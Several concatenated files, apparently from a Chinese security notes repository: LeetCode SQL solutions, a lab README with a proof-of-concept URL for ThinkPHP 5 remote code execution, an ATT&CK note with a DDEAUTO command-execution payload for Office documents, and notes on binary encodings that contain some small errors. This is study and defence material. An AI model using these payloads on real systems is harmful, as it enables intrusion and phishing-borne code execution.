```html
+-------------+---------+
| Column Name | Type |
+-------------+---------+
| AddressId | int |
| PersonId | int |
| City | varchar |
| State | varchar |
+-------------+---------+
AddressId is the primary key column for this table.
```
查找 FirstName, LastName, City, State 数据,而不管一个用户有没有填地址信息。
### Solution
涉及到 Person 和 Address 两个表,在对这两个表执行连接操作时,因为要保留 Person 表中的信息,即使在 Address 表中没有关联的信息也要保留。此时可以用左外连接,将 Person 表放在 LEFT JOIN 的左边。
```sql
SELECT
FirstName,
LastName,
City,
State
FROM
Person P
LEFT JOIN Address A
ON P.PersonId = A.PersonId;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS Person;
CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );
DROP TABLE
IF
EXISTS Address;
CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );
INSERT INTO Person ( PersonId, LastName, FirstName )
VALUES
( 1, 'Wang', 'Allen' );
INSERT INTO Address ( AddressId, PersonId, City, State )
VALUES
( 1, 2, 'New York City', 'New York' );
```
## 181. Employees Earning More Than Their Managers
https://leetcode.com/problems/employees-earning-more-than-their-managers/description/
### Description
Employee 表:
```html
+----+-------+--------+-----------+
| Id | Name | Salary | ManagerId |
+----+-------+--------+-----------+
| 1 | Joe | 70000 | 3 |
| 2 | Henry | 80000 | 4 |
| 3 | Sam | 60000 | NULL |
| 4 | Max | 90000 | NULL |
+----+-------+--------+-----------+
```
查找薪资大于其经理薪资的员工信息。
### Solution
```sql
SELECT
E1.NAME AS Employee
FROM
Employee E1
INNER JOIN Employee E2
ON E1.ManagerId = E2.Id
AND E1.Salary > E2.Salary;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS Employee;
CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );
INSERT INTO Employee ( Id, NAME, Salary, ManagerId )
VALUES
( 1, 'Joe', 70000, 3 ),
( 2, 'Henry', 80000, 4 ),
( 3, 'Sam', 60000, NULL ),
( 4, 'Max', 90000, NULL );
```
## 183. Customers Who Never Order
https://leetcode.com/problems/customers-who-never-order/description/
### Description
Customers 表:
```html
+----+-------+
| Id | Name |
+----+-------+
| 1 | Joe |
| 2 | Henry |
| 3 | Sam |
| 4 | Max |
+----+-------+
```
Orders 表:
```html
+----+------------+
| Id | CustomerId |
+----+------------+
| 1 | 3 |
| 2 | 1 |
+----+------------+
```
查找没有订单的顾客信息:
```html
+-----------+
| Customers |
+-----------+
| Henry |
| Max |
+-----------+
```
### Solution
左外链接
```sql
SELECT
C.Name AS Customers
FROM
Customers C
LEFT JOIN Orders O
ON C.Id = O.CustomerId
WHERE
O.CustomerId IS NULL;
```
子查询
```sql
SELECT
Name AS Customers
FROM
Customers
WHERE
Id NOT IN (
SELECT CustomerId
FROM Orders
);
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS Customers;
CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );
DROP TABLE
IF
EXISTS Orders;
CREATE TABLE Orders ( Id INT, CustomerId INT );
INSERT INTO Customers ( Id, NAME )
VALUES
( 1, 'Joe' ),
( 2, 'Henry' ),
( 3, 'Sam' ),
( 4, 'Max' );
INSERT INTO Orders ( Id, CustomerId )
VALUES
( 1, 3 ),
( 2, 1 );
```
## 184. Department Highest Salary
https://leetcode.com/problems/department-highest-salary/description/
### Description
Employee 表:
```html
+----+-------+--------+--------------+
| Id | Name | Salary | DepartmentId |
+----+-------+--------+--------------+
| 1 | Joe | 70000 | 1 |
| 2 | Henry | 80000 | 2 |
| 3 | Sam | 60000 | 2 |
| 4 | Max | 90000 | 1 |
+----+-------+--------+--------------+
```
Department 表:
```html
+----+----------+
| Id | Name |
+----+----------+
| 1 | IT |
| 2 | Sales |
+----+----------+
```
查找一个 Department 中收入最高者的信息:
```html
+------------+----------+--------+
| Department | Employee | Salary |
+------------+----------+--------+
| IT | Max | 90000 |
| Sales | Henry | 80000 |
+------------+----------+--------+
```
### Solution
创建一个临时表,包含了部门员工的最大薪资。可以对部门进行分组,然后使用 MAX() 汇总函数取得最大薪资。
之后使用连接找到一个部门中薪资等于临时表中最大薪资的员工。
```sql
SELECT
D.NAME Department,
E.NAME Employee,
E.Salary
FROM
Employee E,
Department D,
( SELECT DepartmentId, MAX( Salary ) Salary
FROM Employee
GROUP BY DepartmentId ) M
WHERE
E.DepartmentId = D.Id
AND E.DepartmentId = M.DepartmentId
AND E.Salary = M.Salary;
```
### SQL Schema
```sql
DROP TABLE IF EXISTS Employee;
CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );
DROP TABLE IF EXISTS Department;
CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );
INSERT INTO Employee ( Id, NAME, Salary, DepartmentId )
VALUES
( 1, 'Joe', 70000, 1 ),
( 2, 'Henry', 80000, 2 ),
( 3, 'Sam', 60000, 2 ),
( 4, 'Max', 90000, 1 );
INSERT INTO Department ( Id, NAME )
VALUES
( 1, 'IT' ),
( 2, 'Sales' );
```
## 176. Second Highest Salary
https://leetcode.com/problems/second-highest-salary/description/
### Description
```html
+----+--------+
| Id | Salary |
+----+--------+
| 1 | 100 |
| 2 | 200 |
| 3 | 300 |
+----+--------+
```
查找工资第二高的员工。
```html
+---------------------+
| SecondHighestSalary |
+---------------------+
| 200 |
+---------------------+
```
没有找到返回 null 而不是不返回数据。
### Solution
为了在没有查找到数据时返回 null,需要在查询结果外面再套一层 SELECT。
```sql
SELECT
( SELECT DISTINCT Salary
FROM Employee
ORDER BY Salary DESC
LIMIT 1, 1 ) SecondHighestSalary;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS Employee;
CREATE TABLE Employee ( Id INT, Salary INT );
INSERT INTO Employee ( Id, Salary )
VALUES
( 1, 100 ),
( 2, 200 ),
( 3, 300 );
```
## 177. Nth Highest Salary
### Description
查找工资第 N 高的员工。
### Solution
```sql
CREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN
SET N = N - 1;
RETURN (
SELECT (
SELECT DISTINCT Salary
FROM Employee
ORDER BY Salary DESC
LIMIT N, 1
)
);
END
```
### SQL Schema
同 176。
## 178. Rank Scores
https://leetcode.com/problems/rank-scores/description/
### Description
得分表:
```html
+----+-------+
| Id | Score |
+----+-------+
| 1 | 3.50 |
| 2 | 3.65 |
| 3 | 4.00 |
| 4 | 3.85 |
| 5 | 4.00 |
| 6 | 3.65 |
+----+-------+
```
将得分排序,并统计排名。
```html
+-------+------+
| Score | Rank |
+-------+------+
| 4.00 | 1 |
| 4.00 | 1 |
| 3.85 | 2 |
| 3.65 | 3 |
| 3.65 | 3 |
| 3.50 | 4 |
+-------+------+
```
### Solution
要统计某个 score 的排名,只要统计大于等于该 score 的 score 数量。
| Id | score | 大于等于该 score 的 score 数量 | 排名 |
| :---: | :---: | :---: | :---: |
| 1 | 4.1 | 3 | 3 |
| 2 | 4.2 | 2 | 2 |
| 3 | 4.3 | 1 | 1 |
使用连接操作找到某个 score 对应的大于等于其值的记录:
```sql
SELECT
*
FROM
Scores S1
INNER JOIN Scores S2
ON S1.score <= S2.score
ORDER BY
S1.score DESC, S1.Id;
```
| S1.Id | S1.score | S2.Id | S2.score |
| :---: | :---: | :---: | :---: |
|3| 4.3| 3 |4.3|
|2| 4.2| 2| 4.2|
|2| 4.2 |3 |4.3|
|1| 4.1 |1| 4.1|
|1| 4.1 |2| 4.2|
|1| 4.1 |3| 4.3|
可以看到每个 S1.score 都有对应好几条记录,我们再进行分组,并统计每个分组的数量作为 'Rank'
```sql
SELECT
S1.score 'Score',
COUNT(*) 'Rank'
FROM
Scores S1
INNER JOIN Scores S2
ON S1.score <= S2.score
GROUP BY
S1.id, S1.score
ORDER BY
S1.score DESC, S1.Id;
```
| score | Rank |
| :---: | :---: |
| 4.3 | 1 |
| 4.2 | 2 |
| 4.1 | 3 |
上面的解法看似没问题,但是对于以下数据,它却得到了错误的结果:
| Id | score |
| :---: | :---: |
| 1 | 4.1 |
| 2 | 4.2 |
| 3 | 4.2 |
| score | Rank |
| :---: | :--: |
| 4.2 | 2 |
| 4.2 | 2 |
| 4.1 | 3 |
而我们希望的结果为:
| score | Rank |
| :---: | :--: |
| 4.2 | 1 |
| 4.2 | 1 |
| 4.1 | 2 |
连接情况如下:
| S1.Id | S1.score | S2.Id | S2.score |
| :---: | :------: | :---: | :------: |
| 2 | 4.2 | 3 | 4.2 |
| 2 | 4.2 | 2 | 4.2 |
| 3 | 4.2 | 3 | 4.2 |
| 3 | 4.2 | 2 | 4.1 |
| 1 | 4.1 | 3 | 4.2 |
| 1 | 4.1 | 2 | 4.2 |
| 1 | 4.1 | 1 | 4.1 |
我们想要的结果是,把分数相同的放在同一个排名,并且相同分数只占一个位置,例如上面的分数,Id=2 和 Id=3 的记录都有相同的分数,并且最高,他们并列第一。而 Id=1 的记录应该排第二名,而不是第三名。所以在进行 COUNT 计数统计时,我们需要使用 COUNT( DISTINCT S2.score ) 从而只统计一次相同的分数。
```sql
SELECT
S1.score 'Score',
COUNT( DISTINCT S2.score ) 'Rank'
FROM
Scores S1
INNER JOIN Scores S2
ON S1.score <= S2.score
GROUP BY
S1.id, S1.score
ORDER BY
S1.score DESC;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS Scores;
CREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );
INSERT INTO Scores ( Id, Score )
VALUES
( 1, 4.1 ),
( 2, 4.1 ),
( 3, 4.2 ),
( 4, 4.2 ),
( 5, 4.3 ),
( 6, 4.3 );
```
## 180. Consecutive Numbers
https://leetcode.com/problems/consecutive-numbers/description/
### Description
数字表:
```html
+----+-----+
| Id | Num |
+----+-----+
| 1 | 1 |
| 2 | 1 |
| 3 | 1 |
| 4 | 2 |
| 5 | 1 |
| 6 | 2 |
| 7 | 2 |
+----+-----+
```
查找连续出现三次的数字。
```html
+-----------------+
| ConsecutiveNums |
+-----------------+
| 1 |
+-----------------+
```
### Solution
```sql
SELECT
DISTINCT L1.num ConsecutiveNums
FROM
Logs L1,
Logs L2,
Logs L3
WHERE L1.id = l2.id - 1
AND L2.id = L3.id - 1
AND L1.num = L2.num
AND l2.num = l3.num;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS LOGS;
CREATE TABLE LOGS ( Id INT, Num INT );
INSERT INTO LOGS ( Id, Num )
VALUES
( 1, 1 ),
( 2, 1 ),
( 3, 1 ),
( 4, 2 ),
( 5, 1 ),
( 6, 2 ),
( 7, 2 );
```
## 626. Exchange Seats
https://leetcode.com/problems/exchange-seats/description/
### Description
seat 表存储着座位对应的学生。
```html
+---------+---------+
| id | student |
+---------+---------+
| 1 | Abbot |
| 2 | Doris |
| 3 | Emerson |
| 4 | Green |
| 5 | Jeames |
+---------+---------+
```
要求交换相邻座位的两个学生,如果最后一个座位是奇数,那么不交换这个座位上的学生。
```html
+---------+---------+
| id | student |
+---------+---------+
| 1 | Doris |
| 2 | Abbot |
| 3 | Green |
| 4 | Emerson |
| 5 | Jeames |
+---------+---------+
```
### Solution
使用多个 union。
```sql
## 处理偶数 id,让 id 减 1
## 例如 2,4,6,... 变成 1,3,5,...
SELECT
s1.id - 1 AS id,
s1.student
FROM
seat s1
WHERE
s1.id MOD 2 = 0 UNION
## 处理奇数 id,让 id 加 1。但是如果最大的 id 为奇数,则不做处理
## 例如 1,3,5,... 变成 2,4,6,...
SELECT
s2.id + 1 AS id,
s2.student
FROM
seat s2
WHERE
s2.id MOD 2 = 1
AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION
## 如果最大的 id 为奇数,单独取出这个数
SELECT
s4.id AS id,
s4.student
FROM
seat s4
WHERE
s4.id MOD 2 = 1
AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )
ORDER BY
id;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS seat;
CREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );
INSERT INTO seat ( id, student )
VALUES
( '1', 'Abbot' ),
( '2', 'Doris' ),
( '3', 'Emerson' ),
( '4', 'Green' ),
( '5', 'Jeames' );
```
|
sec-knowleage
|
# Thinkphp5 5.0.22/5.1.29 Remote Code Execution Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
ThinkPHP is an extremely widely used PHP development framework in China. In its version 5, as the framework processes controller name incorrectly, it can execute any method if the website doesn't have mandatory routing enabled (which is default), resulting in a RCE vulnerability.
Reference links:
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
## Environment Setup
Enter the following command:(ThinkPHP version:5.0.20)
```
docker compose up -d
```
Visit `http://your-ip:8080` and you'll see the default page of ThinkPHP.
## POC
Directly visit `http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1` and it'll execute the phpinfo:

|
sec-knowleage
|
# T1559-002-win-利用进程间通信执行-动态数据交换-DDE
## 来自ATT&CK的描述
攻击者可以使用Windows动态数据交换(DDE)执行任意命令。DDE是一种客户端-服务器协议,用于应用程序之间的一次性或连续的进程间通信(IPC)。建立链接后,应用程序可以自动处理由字符串,温数据链接(数据项更改时的通知),热数据链接(数据项更改的复制)以及命令执行请求组成的事务。
对象链接和嵌入(OLE)或在文档之间链接数据的功能最初是通过DDE实现的。尽管已被组件对象模型取代,但可以通过注册表项在Windows 10和大多数Microsoft Office 2016中启用DDE。
Microsoft Office文档可能会被直接或通过嵌入式文件的方式注入DDE命令,并被用于通过网络钓鱼或托管的Web内容投递恶意代码,从而避免使用Visual Basic for Applications(VBA)宏。在无法直接访问命令和脚本解释器的受感染计算机上,攻击者也可以利用DDE执行操作。
## 测试案例
DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换。
### 制作恶意DDE文档
创建一个文档dde.docx,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。
```
DDEAUTO c:\\windows\\system32\\cmd.exe "\/k calc.exe"
```
### 通过钓鱼等方式传播恶意文件
目标点击后会弹窗提示;成功执行代码,弹出计算器.
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
### 建议
在OLE和Office开放的XML文件中扫描‘DDEAUTO’、‘DDE’关键字,这是DDE执行的标识。 监控进程是否存在指示DDE滥用的异常行为,例如Microsoft Office应用程序正在加载一些通常无关于程序的DLL和其它模块,或者这些应用程序创建了一些不寻常的子进程(如 cmd.exe)。
## 参考推荐
MITRE-ATT&CK-T1559-002
<https://attack.mitre.org/techniques/T1559/002/>
|
sec-knowleage
|
# 字符编码
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
## 基本原理
**数据宽度**
数学上的数字可以无限大,但计算机中受硬件的制约,数据是有长度限制的。
4位宽度
- 0-F
8位宽度
- 00-FF
16位宽度
- 0000-FFFF
32位宽度
- 00000000-FFFFFFFF
**逻辑运算**
- 或(or |) 只要有一个为1就是1
- 与(and &) 两个都为1才是1
- 异或(xor ^) 不一样为1
- 非(not !) 1是0 0是1
- CPU计算2+3
**真值**
真值就是所表示数的大小,一般用10进制表示。
**机器数**
原码、补码、反码都是机器数的一种表示形式,或者说都属于机器数。
**原码**
原码的表示范围 - 127~-0, +0~+127, 共 256 个数字。
最高位为符号位,"0" 表示正,"1" 表示负,其余位表示数值的大小
```
X=+101011 , [X] 原 = 00101011 X=-101011 , [X] 原 = 10101011
```
位数不够的用 0 补全.
- 小数原码的定义
```
X=+0.1011 , [X] 原 = 0.1011
X=-0.1011 [X] 原 = 1.1011
```
**反码**
反码就是在原码的基础上,符号位不变其他位按位取反 (就是 0 变 1,1 变 0) 就可以了.
```
X=-101011 , [X] 原 = 10101011 ,[X] 反 = 11010100
```
**补码**
反码的基础上按照正常的加法运算加 1.
```
X=-101011 , [X] 原 = 10101011 ,[X] 反 = 11010100,[X] 补 =11010101
```
PS:0 的补码是唯一的,如果机器字长为 8 那么 [0] 补 = 00000000.
在计算机中,负数以其正值的补码形式表达。
**移码**
不管正负数,只要将其补码的符号位取反即可.
```
X=-101011 , [X] 原 = 10101011 ,[X] 反 = 11010100,[X] 补 = 11010101,[X] 移 = 01010101
```
**有符号数和无符号数**
在计算机中,可以区分正负的类型,称为有符类型(signed),无正负的类型(只有正值),称为无符类型。
当我们指定一个数量是无符号类型时,那么其最高位的1或0,和其它位一样,用来表示该数的大小。
当我们指定一个数量是无符号类型时,此时,最高数称为“符号位”。为1时,表示该数为负值,为0时表示为正值。
无符号数中,所有的位都用于直接表示该值的大小。有符号数中最高位用于表示正负,所以,当为正值时,该数的最大值就会变小。
无符号数
- 0~255
- 11111111 值:255
- 1* 27 + 1* 26 + 1* 25 + 1* 24 + 1* 23 + 1* 22 + 1* 21 + 1* 20
有符号数
- -128~127
- 01111111 值:127
- 1* 26 + 1* 25 + 1* 24 + 1* 23 + 1* 22 + 1* 21 + 1* 20
**大端存储和小端存储**
- https://www.ruanyifeng.com/blog/2022/06/endianness-analysis.html
大端存储与小端存储模式主要指的是数据在计算机中存储的两种字节优先顺序。
* 小端存储 : 高位字节放在高地址,低位字节存放在低地址。
* 大端存储 : 高位字节放在低地址,低位字节存放在高地址。
采用大端方式进行数据存放符合人类的正常思维,而采用小端方式进行数据存放利于计算机处理。
<img src="../../../assets/img/Develop/计算机基础/字符编码/3.webp" width="40%">
例如要表示 0x12345678
```
偏移地址: 0x 00 01 02 03
大端存储: 12 34 56 78
小端存储: 78 56 34 12
```
如果将一个16位的整数0x1234存放到一个短整型变量(short)中。这个短整型变量在内存中的存储在大小端模式由下表所示。
```
偏移地址: 0x 00 01
大端存储: 12 34
小端存储: 34 12
```
* 各自优点:
* 小端存储 : 便于数据之间的类型转换,例如:long 类型转换为 int 类型时,高地址部分的数据可以直接截掉。
* 大端存储 : 便于数据类型的符号判断,因为最低地址位数据即为符号位,可以直接判断数据的正负号。
* 用途:
* 小端存储 : 常见于本地主机上(也有部分类型主机为大端存储)和 x86 平台。
* 大端存储 : 常见于网络通信和 arm/移动平台上,网际协议 TCP/IP 在传输整型数据时一般使用大端存储模式表示,例如 TCP/IP 中表示端口和 IP 时,均采用的是大端存储
有的处理器系统采用了小端方式进行数据存放,如 Intel 的奔腾。有的处理器系统采用了大端方式进行数据存放,如 IBM 半导体和 Freescale 的 PowerPC 处理器。不仅对于处理器,一些外设的设计中也存在着使用大端或者小端进行数据存放的选择。
因此在一个处理器系统中,有可能存在大端和小端模式同时存在的现象。这一现象为系统的软硬件设计带来了不小的麻烦,这要求系统设计工程师,必须深入理解大端和小端模式的差别。大端与小端模式的差别体现在一个处理器的寄存器,指令集,系统总线等各个层次中。
---
## 运算符
`这里以 C 的常用运算符为例`
**算数运算**
```
+-*/ 加、减、乘、除
% 取模运算 N=5,Y=N%3,Y=2
```
**逻辑运算**
```C
&& 逻辑与 A=TRUE,B=FALSE,C=A&&B,C=FALSE
|| 逻辑或 A=TRUE,B=FALSE,C=A||B,C=TRUE
! 逻辑非 A=TRUE,B=!A,B=FALSE
```
**关系运算**
```C
> 大于 A=1,B=2,C=A>B,C=FALSE
< 小于 A=1,B=2,C=A<B,C=TRUE
>= 大于等于 A=2,B=2,C=A>=B,C=TRUE
<= 小于等于 A=2,B=2,C=A<=B,C=TRUE
== 等于 A=1,B=2,C=(A==B),C=FALSE
!= 不等于 A=1,B=2,C=(A!=B),C=TRUE
```
**位运算**
```C
<< 左移 A=0b00001111,A<<2=0b00111100
>> 右移 A=0b11110000,A>>2=0b00111100
& 按位与 A=0b1010,B=0b1000,A&B=0b1000
! 按位或 A=0b1010,B=0b1000,A!B=0b1010
~ 按位取反 A=0b00001111,B=~A,B=0b11110000
^ 按位异或 A=0b1010,B=0b1000,A^B=0b0010
```
**增量和减量运算**
```C
++ 增量运算符 A=3,A++,A=4
-- 减量运算符 A=3,A--,A=2
```
**复合赋值运算**
```C
+= 加法赋值 A=1,A+=2,A=3
-= 减法赋值 A=4,A-=4,A=0
>>= 右移位赋值 A=0b11110000,A>>=2,A=0b00111100
<<= 左移位赋值 A=0b00001111,A<<=2,A=0b00111100
*= 乘法赋值 A=2,A*=3,A=6
&= 按位与赋值 A=0b1010,A&=0b1000,A=0b1000
|= 按位或赋值 A=0b1010,A|=0b1000,A=0b1010
^= 按位异或赋值 A=0b1010,A^=0b1000,A=0b0010
%= 取模赋值 A=5,A%=2,A=1
/= 除法赋值 A=4,A/=2,A=2
```
**指针和地址运算**
```C
* 取内容 A=*P
& 取地址 A=&P
```
**输出格式转换**
```
0x 无符号十六进制数 0xa=0d10
0o 无符号八进制数 0o10=0d8
0b 无符号二进制数 0b10=0d2
0d 带符号十进制数 0d10000001=-127
0u 无符号十进制数 0u10000001=129
```
---
## 编码
> 更多内容可以参考 [Crypto 笔记](../../Security/Crypto/Crypto.md#常见编码)
计算机只记录 0 和 1,那文字该如何记录?事实上文本文件也是以 0 和 1 的形式来记录的,而通过编码系统的处理成为文字
所谓 `编码系统` 可以想象为一个 `字码对照表`
当写入文字数据时,该文字数据会有字码对照表将其转换为数字,再存入档案中.同样,当要读出数据时,也会经过字码对照表将数字转成对应的文字,再显示到屏幕上.所有当屏幕上出现乱码,你就要知道,这可能是字码对照表的问题.
常用的英文编码表为 `ASCII`,每个符合占 1bytes,因此有 256 种.
中文是 `big5`,每个中文字占用 2bytes,理论上最多有 65536 种,目前 `big5` 定义的中文还很少,很多中文是无法利用 `big5` 显示成功的.
不止中文字,其他非英语系国家也会有这样的问题
为了解决这种问题,ISO 制定了 `Unicode` 编码系统,所谓 `UTF-8` 或万国码
**相关文章**
- [UTF-8 遍地开花](http://utf8everywhere.org/zh-cn)
- [[BUG随想录] 看不见的分隔符: Zero-width space](https://www.cnblogs.com/SivilTaram/p/5767450.html)
- [一个特殊的字符?(%E2%80%8B)](https://blog.csdn.net/u014271114/article/details/55668115)
- [编码的故事](https://wenku.baidu.com/link?url=kTrscV5j5AsZq5zvBpr2jdkEJW8LqgrkkKsddwWA3YlXmgeqh_be95nMxqbFPOYoVBVy3A6lutlcXVDYLdZ-3iRawJpc0VZ71as07FnxtGS)
- [Unicode 和 UTF-8 是什么关系?本文为你解惑](https://mp.weixin.qq.com/s/6w0FYXN11wbuyj1IptAKEw)
---
### ASCII
在早期的计算机系统中,为了给字符编码,美国国家标准学会(American National Standard Institute:ANSI)制定了一套英文字母、数字和常用符号的编码,它占用一个字节,编码范围从 `0` 到 `127`,最高位始终为 `0`,称为 `ASCII` 编码。例如,字符'A'的编码是 `0x41`,字符'1'的编码是 `0x31`。
**表述方式**
`ASCII` 码使用指定的 7 位或 8 位二进制数组合来表示 128 或 256 种可能的字符.
标准 ASCII 码也叫基础 ASCII 码,使用 7 位二进制数 (剩下的 1 位二进制为 0) 来表示所有的大写和小写字母,数字 0 到 9、标点符号, 以及在美式英语中使用的特殊控制字符.其中:
- 0~31 及 127 (共 33 个)是控制字符或通信专用字符 (其余为可显示字符) ,如控制符:LF (换行) 、CR (回车) 、FF (换页) 、DEL (删除) 、BS (退格)、BEL (响铃) 等;通信专用字符:SOH (文头) 、EOT (文尾) 、ACK (确认) 等;ASCII 值为 8、9、10 和13 分别转换为退格、制表、换行和回车字符.它们并没有特定的图形显示,但会依不同的应用程序,而对文本显示有不同的影响.
- 32~126 (共 95 个)是字符( 32 是空格) ,其中 48~57 为 0 到 9 十个阿拉伯数字.
- 65~90 为 26 个大写英文字母,97~122 号为 26 个小写英文字母,其余为一些标点符号、运算符号等.
后 128 个称为扩展 `ASCII` 码.许多基于 x86 的系统都支持使用扩展 (或"高") `ASCII`.扩展 `ASCII` 码允许将每个字符的第 8 位用于确定附加的 128 个特殊符号字符、外来语字母和图形符号.
**标准表**
**转义字符**
所有的 ASCII 码都可以用 `\数字`(一般是8进制数字)来表示。而 C 中定义了一些字母前加 `\` 来表示常见的那些不能显示的 ASCII 字符,如`\0`,`\t`,`\n` 等,就称为转义字符,因为后面的字符,都不是它本来的 ASCII 字符意思了。
| 转义字符 | 意义 | ASCII码值(十进制) |
| - | - | - |
| `\a` | 响铃(BEL) | 007 |
| `\b` | 退格(BS) ,将当前位置移到前一列 | 008 |
| `\f` | 换页(FF),将当前位置移到下页开头 | 012 |
| `\n` | 换行(LF) ,将当前位置移到下一行开头 | 010 |
| `\r` | 回车(CR) ,将当前位置移到本行开头 | 013 |
| `\t` | 水平制表(HT) (跳到下一个TAB位置) | 009 |
| `\v` | 垂直制表(VT) | 011 |
| `\\` | 代表一个反斜线字符''\' | 092 |
| `\'` | 代表一个单引号(撇号)字符 | 039 |
| `\"` | 代表一个双引号字符 | 034 |
| `\?` | 代表一个问号 | 063 |
| `\0` | 空字符(NUL) | 000 |
| `\ddd` | 1到3位八进制数所代表的任意字符 | 三位八进制 |
| `\xhh` | 十六进制所代表的任意字符 | 十六进制 |
---
### UNICODE
随着互联网的发展,各个国家基本上都有自己的本地编码 `ANSI` 编码.为此,系统要支持多过的本地编码,怎么办?引入代码页 code page,根据代码页号去查相应的字符集,`GBK` 的代码页就是 `CP936` (有细微差别,详细可以查看维基百科) .
如果要把汉字也纳入计算机编码,很显然一个字节是不够的。`GB2312` 标准使用两个字节表示一个汉字,其中第一个字节的最高位始终为 `1`,以便和 `ASCII` 编码区分开。例如,汉字'中'的 `GB2312` 编码是 `0xd6d0`。
类似的,日文有 `Shift_JIS` 编码,韩文有 `EUC-KR` 编码,这些编码因为标准不统一,同时使用,就会产生冲突。
为了统一全球所有语言的编码,全球统一码联盟发布了 `Unicode` 编码,它把世界上主要语言都纳入同一个编码,这样,中文、日文、韩文和其他语言就不会冲突。
`UNICODE` 就是要将所有的字符全部编码在一个字符集里面,比如 1-10000 编码简体中文,10001-20000 编码繁体中文,依次类推,这样就构成了 `UNICODE` 字符集.但是 `UNICODE` 字符集并没说要怎么编码,只是说某个数字代表某个字符,即之规定了数字到字符的的字典,但是没有规定在计算机中怎么编码.
---
### UCS/UTF
因为英文字符的 `Unicode` 编码高字节总是 00,包含大量英文的文本会浪费空间,所以,出现了 `UTF-8` 编码,它是一种变长编码,用来把固定长度的 `Unicode` 编码变成 1~4 字节的变长编码。通过 `UTF-8` 编码,英文字符`'A'`的 `UTF-8` 编码变为 `0x41`,正好和 `ASCII` 码一致,而中文'中'的 `UTF-8` 编码为 3 字节 `0xe4b8ad`。,常见的有 UTF-8,UTF-16 (UCS-2) ,UTF-32 (UCS-4) 编码.
`UTF-8` 编码的另一个好处是容错能力强。如果传输过程中某些字符出错,不会影响后续字符,因为 `UTF-8` 编码依靠高字节位来确定一个字符究竟是几个字节,它经常用来作为传输编码。
`UTF-8` 是类似 `GBK` 编码的一种编码,就是用多个字节编码计算出值然后查表,它可以是一个字节 (也就是兼容 `ASCII`) 表示一个字符,可以是两个、三个、四个或者更多个字节根据计算得到某个值,然后去查 `UNICODE` 表得到某个字符,这样就将所有字符进行了编码.
`UTF-16` 则至少是需要两个字节来表示,也就是说,可以由两个字节计算得到某个值,也可以是四个字节、六个字节、八个字节计算出值然后查表得到字符.
`UTF-32` 则至少是需要四个字节表示,以此类推.
---
### GBK
`GBK` 由 `GB2312` 扩展来的,`GB2312` 是最早的中文编码方式.
---
### Windows ANSI
`GBK`、B`ig5` 等编码就是 `ANSI` 编码,也叫本地码.`ANSI` 编码就是本地码的统称,就是在什么国家或地区就是什么编码.比如在中国的大陆地区就是 `GBK`,在中国台湾就是 `Big5`.
---
### BCD
BCD 码(Binary-Coded Decimal),用4位二进制数来表示1位十进制数中的 0~9 这10个数码,是一种二进制的数字编码形式,用二进制编码的十进制代码。BCD 码这种编码形式利用了四个位元来储存一个十进制的数码,使二进制和十进制之间的转换得以快捷的进行。这种编码技巧最常用于会计系统的设计里,因为会计制度经常需要对很长的数字串作准确的计算。相对于一般的浮点式记数法,采用 BCD 码,既可保存数值的精确度,又可免去使计算机作浮点运算时所耗费的时间。此外,对于其他需要高精确度的计算,BCD 编码亦很常用。
BCD 码也称二进码十进数,BCD 码可分为有权码和无权码两类。其中,常见的有权 BCD 码有8421码、2421码、5421码,无权 BCD 码有余3码、余3循环码、格雷码。
```
十进制数 8421码 5421码 2421码 余3码 余3循环码
0 0000 0000 0000 0011 0010
1 0001 0001 0001 0100 0110
2 0010 0010 0010 0101 0111
3 0011 0011 0011 0110 0101
4 0100 0100 0100 0111 0100
5 0101 1000 1011 1000 1100
6 0110 1001 1100 1001 1101
7 0111 1010 1101 1010 1111
8 1000 1011 1110 1011 1110
9 1001 1100 1111 1100 1010
```
---
### Gray code
格雷码(循环二进制单位距离码)是任意两个相邻数的代码只有一位二进制数不同的编码,它与奇偶校验码同属可靠性编码。
由贝尔实验室的 Frank Gray 在1940年提出,用于在 PCM(脉冲编码调变)方法传送讯号时防止出错,并于1953年三月十七日取得美国专利。格雷码是一个数列集合,相邻两数间只有一个位元改变,为无权数码,且格雷码的顺序不是唯一的。
数字0~7的编码比较如下:
```
0 000 000
1 001 001
2 011 010
3 010 011
4 110 100
5 111 101
6 101 110
7 100 111
```
**格雷码能避免讯号传送错误的原理**
